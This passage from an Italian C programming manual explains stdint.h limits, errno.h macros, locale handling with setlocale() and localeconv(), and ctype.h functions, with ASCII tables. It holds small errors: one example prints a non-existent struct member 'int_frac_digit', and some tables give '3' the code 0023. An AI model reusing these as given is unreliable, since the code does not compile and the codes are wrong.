#define INTMAX_MIN      (-INTMAX_C(0x8000000000000000))     // x86-32
#define INTMAX_MAX       (INTMAX_C(0x7FFFFFFFFFFFFFFF))     // x86-32
#define UINTMAX_MAX     (UINTMAX_C(0xFFFFFFFFFFFFFFFF))     // x86-32
```

80.4.6 Limiti per altri tipi interi

Altri tipi interi dichiarati al di fuori del file ‘`stdint.h`’ hanno i limiti definiti qui. Ne viene mostrata solo una tabella riepilogativa.

Macro-variabile	Descrizione
`PTRDIFF_MIN` `PTRDIFF_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile ‘**`ptrdiff t`**’.
`SIG_ATOMIC_MIN` `SIG_ATOMIC_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile ‘**`sig_atomic_t`**’.
`SIZE_MAX`	Rappresenta il valore massimo rappresentabile in una variabile ‘**`size_t`**’, la quale è destinata a contenere valori senza segno.
`WCHAR_MIN` `WCHAR_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile ‘**`wchar_t`**’.
`WINT_MIN` `WINT_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile ‘**`wint_t`**’.

L’esempio seguente riporta i valori usati in un sistema GNU/Linux con architettura x86-32, a parte il caso di ‘**`wchar_t`**’ e ‘**`wint_t`**’ che si intendono rispettivamente a 32 bit senza segno e 64 bit con segno:

```
#define PTRDIFF_MIN              (-0x80000000)   // x86-32
#define PTRDIFF_MAX                0x7FFFFFFF    // x86-32

#define SIG_ATOMIC_MIN           (-0x80000000)   // x86-32
#define SIG_ATOMIC_MAX             0x7FFFFFFF    // x86-32

#define SIZE_MAX                   0xFFFFFFFFU   // x86-32

#define WCHAR_MIN                  0x00000000
#define WCHAR_MAX                  0xFFFFFFFFU   // x86-32

#define WINT_MIN         (-0x8000000000000000LL) // x86-32
#define WINT_MAX           0x7FFFFFFFFFFFFFFFLL  // x86-32
```

80.5 File «errno.h»

Il file '`errno.h`' della libreria standard definisce principalmente delle macro-variabili per rappresentare simbolicamente delle situazioni di errore. Queste macro-variabili si espandono in un numero intero e positivo, di tipo '**`int`**', ma la corrispondenza tra l'errore simbolico rappresentato dalla macro-variabile e il numero in cui questa si deve espandere, dipende dalle convenzioni del sistema operativo (si veda eventualmente la realizzazione del file '`errno.h`' nei sorgenti di os16, sezione 106.3, oppure di os32, sezione 120.4, tenendo conto che lì si aggiungono delle funzioni non standard, con le quali è più facile l'individuazione della posizione del sorgente in cui l'errore si è manifestato).

Lo standard del linguaggio prescrive poche macro-variabili, da cui dipendono le librerie standard, mentre tutte le altre sono competenza delle convenzioni del sistema operativo.

Oltre alle macro-variabili che rappresentano le situazioni di errore previste, il file '`errno.h`' deve dichiarare ***errno***, in qualità di espressione che si traduca in una variabile scalare. In pratica può trattarsi di una variabile esterna o di una macro-variabile che si traduce in qualunque cosa consenta di assegnarvi un valore. Il valore iniziale che si può leggere da ***errno*** è zero (con cui si intende l'assenza di qualunque tipo di situazione di errore) e viene modificato dalle funzioni che, di volta in volta, possono avere bisogno di annotare uno stato di errore.

Si osservi che i numeri che si vedono associati alle macro-variabili sono stati tratti, come esempio, dalla configurazione di un sistema GNU/Linux.

```
extern int errno;

#define EDOM    33
#define EILSEQ  84
#define ERANGE  34
```

Il nome ***errno***, in un sistema che consenta l'esecuzione di programmi suddivisi in più thread, deve tradursi in un'espressione tale da rappresentare una variabile scalare individuale per ogni thread, in modo che i thread non possano interferire tra di loro a questo proposito. Evidentemente, l'esempio mostrato non offre questa accortezza.

Tabella 80.31. Macro-variabili standard per la rappresentazione di situazioni di errore.

Macro-variabile	Descrizione
`EDOM`	Errore di dominio: l'argomento di una funzione matematica ha un valore al di fuori del dominio previsto.
`EILSEQ`	Errore di codifica: la sequenza dei byte che deve rappresentare una certa codifica contiene un errore.
`ERANGE`	Errore nell'intervallo di valori: il risultato di un'espressione matematica non può essere rappresentato nell'intervallo di valori previsto (ovvero nella variabile che deve riceverlo).

Il file di intestazione '`errno.h`' di un sistema POSIX è più articolato, in quanto contiene un elenco numeroso di macro-variabili. Valgono naturalmente le stesse considerazioni per la variabile globale ***errno***, a proposito dei thread multipli. Nell'esempio successivo, i numeri associati alle varie macro-variabili non fanno riferimento ad alcun sistema operativo reale; va osservato inoltre che ogni sistema POSIX aggiunge propri tipi di errore, necessari per le proprie caratteristiche specifiche.

POSIX

```
extern int errno;

#define E2BIG             1 // Argument list too long.
#define EACCES            2 // Permission denied.
#define EADDRINUSE        3 // Address in use.
#define EADDRNOTAVAIL     4 // Address not available.
#define EAFNOSUPPORT      5 // Address family not supported.
#define EAGAIN            6 // Resource unavailable, try again.
#define EALREADY          7 // Connection already in progress.
#define EBADF             8 // Bad file descriptor.
#define EBADMSG           9 // Bad message.
#define EBUSY            10 // Device or resource busy.
#define ECANCELED        11 // Operation canceled.
#define ECHILD           12 // No child processes.
#define ECONNABORTED     13 // Connection aborted.
#define ECONNREFUSED     14 // Connection refused.
#define ECONNRESET       15 // Connection reset.
#define EDEADLK          16 // Resource deadlock would occur.
#define EDESTADDRREQ     17 // Destination address required.
#define EDOM             18 // Mathematics argument out of domain of function.
#define EDQUOT           19 // Reserved.
#define EEXIST           20 // File exists.
#define EFAULT           21 // Bad address.
#define EFBIG            22 // File too large.
#define EHOSTUNREACH     23 // Host is unreachable.
#define EIDRM            24 // Identifier removed.
#define EILSEQ           25 // Illegal byte sequence.
#define EINPROGRESS      26 // Operation in progress.
#define EINTR            27 // Interrupted function.
#define EINVAL           28 // Invalid argument.
#define EIO              29 // I/O error.
#define EISCONN          30 // Socket is connected.
#define EISDIR           31 // Is a directory.
#define ELOOP            32 // Too many levels of symbolic links.
#define EMFILE           33 // Too many open files.
#define EMLINK           34 // Too many links.
#define EMSGSIZE         35 // Message too large.
#define EMULTIHOP        36 // Reserved.
#define ENAMETOOLONG     37 // Filename too long.
#define ENETDOWN         38 // Network is down.
#define ENETRESET        39 // Connection aborted by network.
#define ENETUNREACH      40 // Network unreachable.
#define ENFILE           41 // Too many files open in system.
#define ENOBUFS          42 // No buffer space available.
#define ENODATA          43 // No message is available on the stream head read queue.
#define ENODEV           44 // No such device.
#define ENOENT           45 // No such file or directory.
#define ENOEXEC          46 // Executable file format error.
#define ENOLCK           47 // No locks available.
#define ENOLINK          48 // Reserved.
#define ENOMEM           49 // Not enough space.
#define ENOMSG           50 // No message of the desired type.
#define ENOPROTOOPT      51 // Protocol not available.
#define ENOSPC           52 // No space left on device.
```

```
#define ENOSR           53 // No stream resources.
#define ENOSTR          54 // Not a stream.
#define ENOSYS          55 // Function not supported.
#define ENOTCONN        56 // The socket is not connected.
#define ENOTDIR         57 // Not a directory.
#define ENOTEMPTY       58 // Directory not empty.
#define ENOTSOCK        59 // Not a socket.
#define ENOTSUP         60 // Not supported.
#define ENOTTY          61 // Inappropriate I/O control operation.
#define ENXIO           62 // No such device or address.
#define EOPNOTSUPP      63 // Operation not supported on socket.
#define EOVERFLOW       64 // Value too large to be stored in data type.
#define EPERM           65 // Operation not permitted.
#define EPIPE           66 // Broken pipe.
#define EPROTO          67 // Protocol error.
#define EPROTONOSUPPORT 68 // Protocol not supported.
#define EPROTOTYPE      69 // Protocol wrong type for socket.
#define ERANGE          70 // Result too large.
#define EROFS           71 // Read-only file system.
#define ESPIPE          72 // Invalid seek.
#define ESRCH           73 // No such process.
#define ESTALE          74 // Reserved.
#define ETIME           75 // Stream ioctl() timeout.
#define ETIMEDOUT       76 // Connection timed out.
#define ETXTBSY         77 // Text file busy.
#define EWOULDBLOCK     78 // Operation would block (may be the same as EAGAIN).
#define EXDEV           79 // Cross-device link.
```

80.6 File «locale.h»

Il file '`locale.h`' della libreria standard definisce delle macro-variabili, un tipo di struttura e alcune funzioni, relative alla gestione della configurazione locale del programma. Se non si fa uso di tale configurazione, il proprio programma opera in quella che è nota come «configurazione locale C», ovvero il minimo indispensabile.

Nell'ambito di un sistema operativo Unix o simile, la configurazione locale avviene principalmente attraverso l'impostazione di variabili di ambiente il cui nome inizia per '**`LC_`**...'. Tuttavia, questa configurazione non viene ereditata automaticamente dal programma scritto in linguaggio C, perché questo deve acquisirla espressamente, se vuole.

La definizione della configurazione locale avviene attraverso una stringa contenente delle sigle che esprimono la lingua, la nazionalità e la codifica da utilizzare per rappresentare i caratteri. Per esempio, '**`it_CH.UTF-8`**' rappresenta la lingua italiana, la nazionalità svizzera e la codifica UTF-8.

80.6.1 Impostazione della configurazione locale

Per modificare l'impostazione della configurazione locale del proprio programma, si utilizza la funzione ***setlocale()*** che richiede l'indicazione di un numero intero, a indicare la ***categoria*** nella quale intervenire. La categoria viene definita formalmente attraverso delle macro-variabili il cui nome inizia per ***LC_...*** e si tratta degli stessi nomi usati nelle variabili di ambiente di un sistema Unix o simile. Viene proposto un esempio di dichiarazione delle macro-variabili indispensabili, ma l'associazione al numero varia molto da un sistema all'altro:

```
LC_ALL          0
LC_COLLATE      1
LC_CTYPE        2
LC_MONETARY     3
LC_NUMERIC      4
LC_TIME         5
```

POSIX

La macro variabile successiva è un'estensione usata nei sistemi POSIX:

```
LC_MESSAGES     6
```

La funzione ***setlocale()*** con cui si cambia la configurazione locale ha il prototipo seguente:

```
char *setlocale (int category, const char *locale);
```

Si prevedono due situazioni diverse di utilizzo della funzione. Per cominciare può essere usata per interrogare la configurazione attuale, come nell'esempio seguente:

```
...
char *p;
p = setlocale (LC_COLLATE, NULL);
...
```

Fornendo un puntatore nullo, al posto della stringa che deve indicare la configurazione locale, si ottiene un puntatore alla stringa che descrive quella attuale. In questo caso, se si utilizza la categoria '**`LC_ALL`**', si ottiene una stringa che descrive tutte le altre categorie, ammesso che ci siano delle differenze. Se invece la funzione non è in grado di dare questa informazione, si ottiene semplicemente un puntatore nullo.

Naturalmente, la funzione serve anche per cambiare la configurazione locale, specificando in tal caso la stringa che la descrive. Per esempio, nel modo seguente si interviene nella categoria '**`LC_NUMERIC`**':

```
...
char *p;
p = setlocale (LC_NUMERIC, "it_IT.UTF-8");
...
```

Anche in questo caso si ottiene un puntatore che descrive la categoria scelta, ma se l'operazione fallisce, si ottiene invece il puntatore nullo.

Normalmente è più probabile che, nell'impostazione della configurazione locale si voglia indicare una modalità unica per tutte le categorie; pertanto, in tal caso va usato '**`LC_ALL`**':

```
...
p = setlocale (LC_ALL, "it_IT.UTF-8");
...
```

Viene mostrato un esempio di programma completo, in cui si imposta prima la configurazione locale complessiva, poi se ne cambia una e quindi si interroga la situazione:

```
#include <stdio.h>
#include <locale.h>

int main (void)
{
    setlocale (LC_ALL, "it_IT.UTF-8");
    setlocale (LC_MONETARY, "en_US.UTF-8");

    printf ("LC_COLLATE:  \"%s\"\n", setlocale (LC_COLLATE, NULL));
    printf ("LC_CTYPE:    \"%s\"\n", setlocale (LC_CTYPE, NULL));
    printf ("LC_MONETARY: \"%s\"\n", setlocale (LC_MONETARY, NULL));
    printf ("LC_NUMERIC:  \"%s\"\n", setlocale (LC_NUMERIC, NULL));
    printf ("LC_TIME:     \"%s\"\n", setlocale (LC_TIME, NULL));
    printf ("LC_ALL:      \"%s\"\n", setlocale (LC_ALL, NULL));
#ifdef LC_MESSAGES
    printf ("LC_MESSAGES: \"%s\"\n", setlocale (LC_MESSAGES, NULL));
#endif

    return 0;
}
```

Ecco cosa si può ottenere:

```
LC_COLLATE:  "it_IT.UTF-8"
LC_CTYPE:    "it_IT.UTF-8"
LC_MONETARY: "en_US.UTF-8"
LC_NUMERIC:  "it_IT.UTF-8"
LC_TIME:     "it_IT.UTF-8"
LC_ALL:      "LC_CTYPE=it_IT.UTF-8;LC_NUMERIC=it_IT.UTF-8;↩
↪LC_TIME=it_IT.UTF-8;LC_COLLATE=it_IT.UTF-8;LC_MONETARY=en_US.UTF-8;↩
↪LC_MESSAGES=it_IT.UTF-8"
LC_MESSAGES: "it_IT.UTF-8"
```

Per fare sì che il programma erediti la configurazione locale dal contesto in cui si trova a funzionare (quindi dalla configurazione locale del sistema operativo), si può indicare la stringa nulla al posto della definizione:

```
...
p = setlocale (LC_ALL, "");
...
```

Pertanto, questo è il modo appropriato per iniziare la configurazione all'interno di un

programma.

80.6.2 Composizione dei valori numerici

Il modo in cui si rappresenta un valore numerico, con o senza indicazione della valuta (la moneta), dipende dalla configurazione locale. La funzione ***localeconv()*** restituisce il puntatore a una struttura che contiene i dettagli riguardo alle modalità di rappresentazione dei valori numerici, secondo la configurazione locale. L'utilizzo consentito di questa struttura si limita all'interrogazione dei valori, perché la modifica dipende dalla gestione della configurazione locale.

```
struct lconv {char *decimal_point;
              char *thousands_sep;
              char *grouping;
              char *mon_decimal_point;
              char *mon_thousands_sep;
              char *mon_grouping;
              char *positive_sign;
              char *negative_sign;
              char *currency_symbol;
              char frac_digits;
              char p_cs_precedes;
              char n_cs_precedes;
              char p_sep_by_space;
              char n_sep_by_space;
              char p_sign_posn;
              char n_sign_posn;
              char *int_curr_symbol;
              char int_frac_digits;
              char int_p_cs_precedes;
              char int_n_cs_precedes;
              char int_p_sep_by_space;
              char int_n_sep_by_space;
              char int_p_sign_posn;
              char int_n_sign_posn;
};
```

A titolo di esempio vengono descritti solo alcuni membri della struttura; per gli altri ci si deve consultare la documentazione dello standard:

Membro	Descrizione
`decimal_point`	Stringa contenente il carattere usato per separare la parte decimale in un numero per uso generale.
`thousand_sep`	Stringa contenente il carattere usato per separare le cifre della parte intera di un numero per uso generale.
`positive_sign` `negative_sign`	Stringa contenente il carattere usato per rappresentare il segno, positivo o negativo, di un numero usato per le valute.

Membro	Descrizione
`int_curr_symbol`	Stringa composta da quattro caratteri, di cui i primi tre indicano la sigla internazionale della valuta ('**`USD`**', '**`EUR`**', ecc.) e il quarto è solo un carattere di separazione da usare tra tale sigla e il valore numerico a cui questa si riferisce.

I membri che rappresentano delle stringhe (puntatori a carattere), quando si riferiscono a dati facoltativi, possono essere vuoti (nel senso di stringhe nulle). I membri di tipo '**`char`**' vengono usati in modo numerico.

```
struct lconv *localeconv (void);
```

Come si vede dal prototipo, la funzione ***localeconv()*** serve esclusivamente per ottenere il puntatore alla struttura '**`lconv`**', da usare per la sua consultazione. Viene mostrato un esempio molto semplice per il suo utilizzo:

```
#include <stdio.h>
#include <locale.h>

int main (void)
{
    struct lconv *lc;

    setlocale (LC_ALL, "it_IT.UTF-8");
    lc = localeconv ();

    printf ("decimal_point:\t\t\"%s\"\n", lc->decimal_point);
    printf ("thousand_sep:\t\t\"%s\"\n", lc->thousands_sep);
    printf ("grouping:\t\t\"%s\"\n", lc->grouping);
    printf ("mon_decimal_point:\t\"%s\"\n", lc->mon_decimal_point);
    printf ("mon_thousands_sep:\t\"%s\"\n", lc->mon_thousands_sep);
    printf ("mon_grouping:\t\t\"%s\"\n", lc->mon_grouping);
    printf ("positive_sign:\t\t\"%s\"\n", lc->positive_sign);
    printf ("negative_sign:\t\t\"%s\"\n", lc->negative_sign);
    printf ("currency_symbol:\t\"%s\"\n", lc->currency_symbol);  // Multibyte.
    printf ("frac_digits:\t\t%i\n", lc->frac_digits);
    printf ("p_cs_precedes:\t\t%i\n", lc->p_cs_precedes);
    printf ("n_cs_precedes:\t\t%i\n", lc->n_cs_precedes);
    printf ("p_sep_by_space:\t\t%i\n", lc->p_sep_by_space);
    printf ("n_sep_by_space:\t\t%i\n", lc->n_sep_by_space);
    printf ("p_sign_posn:\t\t%i\n", lc->p_sign_posn);
    printf ("n_sign_posn:\t\t%i\n", lc->n_sign_posn);
    printf ("int_curr_symbol:\t\"%s\"\n", lc->int_curr_symbol);
    printf ("int_frac_digit:\t\t%i\n", lc->int_frac_digit);
    printf ("int_p_cs_precedes:\t\t%i\n", lc->int_p_cs_precedes);
    printf ("int_n_cs_precedes:\t\t%i\n", lc->int_n_cs_precedes);
    printf ("int_p_sep_by_space:\t\t%i\n", lc->int_p_sep_by_space);
    printf ("int_n_sep_by_space:\t\t%i\n", lc->int_n_sep_by_space);
    printf ("int_p_sign_posn:\t\t%i\n", lc->int_p_sign_posn);
    printf ("int_n_sign_posn:\t\t%i\n", lc->int_n_sign_posn);

    return 0;
}
```

Il risultato che si ottiene dovrebbe essere molto simile a quello seguente:

```
decimal_point:          ","
thousand_sep:           ""
grouping:               ""
mon_decimal_point:      ","
mon_thousands_sep:      "."
mon_grouping:           ""
positive_sign:          ""
negative_sign:          "-"
currency_symbol:        "€"
frac_digits:            2
p_cs_precedes:          1
n_cs_precedes:          1
p_sep_by_space:         1
n_sep_by_space:         1
p_sign_posn:            1
n_sign_posn:            1
int_curr_symbol:        "EUR "
int_frac_digit:         2
int_p_cs_precedes:      1
int_n_cs_precedes:      1
int_p_sep_by_space:     1
int_n_sep_by_space:     1
int_p_sign_posn:        1
int_n_sign_posn:        4
```

Si osservi che, nell'esempio, la stringa a cui si accede tramite il membro '**currency_symbol**' è una sequenza «multibyte», nel senso che utilizza più byte per rappresentare un solo carattere.

80.7 File «ctype.h»

Il file 'ctype.h' della libreria standard definisce alcune funzioni per la classificazione e la trasformazione dei caratteri (intesi come '**char**'). Gli esempi proposti qui riguardano esclusivamente l'insieme di caratteri corrispondente alla codifica ASCII e, di conseguenza, la configurazione locale '**C**'. Tuttavia va ricordato che il linguaggio C non impone che l'insieme di caratteri minimo sia descritto attraverso la codifica ASCII, mentre così è invece nello standard POSIX. (si veda eventualmente la realizzazione del file 'ctype.h' nei sorgenti di os16, listato 106.1.6, oppure di os32, listato 120.1.5).

Le funzioni di questo file hanno in comune il parametro, costituito da un valore intero di tipo '**int**', usato per rappresentare il carattere.[1] Le funzioni del tipo ***is**...()* restituiscono un valore intero diverso da zero (corrispondente a *Vero*) se la condizione riferita al carattere fornito si verifica. Le funzioni ***to**...()* restituiscono un valore intero, corrispondente al carattere fornito e trasformato nel modo richiesto, se ciò è possibile.

Listato 80.47. Prototipi delle funzioni dichiarate nel file '`ctype.h`'.

```
int isalnum  (int c);
int isalpha  (int c);
int isblank  (int c);
int iscntrl  (int c);
int isdigit  (int c);
int isgraph  (int c);
int islower  (int c);
int isprint  (int c);
int ispunct  (int c);
int isspace  (int c);
int isupper  (int c);
int isxdigit (int c);
int tolower  (int c);
int toupper  (int c);
```

Listato 80.48. Prototipi aggiuntivi dello standard POSIX.

```
int isascii  (int c);           // POSIX
int toascii  (int c);           // POSIX
```

80.7.1 Funzioni «is...()»

Il gruppo di funzioni ***is...()*** restituisce un valore intero diverso da zero (corrispondente a *Vero*) se la condizione riferita al carattere fornito si verifica. Vengono proposte le varie soluzioni, affiancando la tabella ASCII con i caratteri validi evidenziati.

Listato 80.49. Funzione ***isalnum()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	` 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	' 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	- 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isalnum (int c)
{
  if (isalpha (c) || isdigit (c))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.50. Funzione ***isalpha()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
int
isalpha (int c)
{
  if (isupper (c) || islower (c))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.51. Funzione ***isblank()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isblank (int c)
{
  if (c == ' ' || c == '\t' )
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.52. Funzione ***iscntrl()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
iscntrl (int c)
{
  if (  ((c >= 0x00) && (c <= 0x1F))
      || (c == 0x7F))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.53. Funzione ***isdigit()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isdigit (int c)
{
  if ((c >= 0x30) && (c <= 0x39))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.54. Funzione ***isgraph()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isgraph (int c)
{
  if ((c >= 0x21) && (c <= 0x7E))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.55. Funzione ***islower()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
islower (int c)
{
  if ((c >= 0x61) && (c <= 0x7A))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.56. Funzione ***isprint()***.

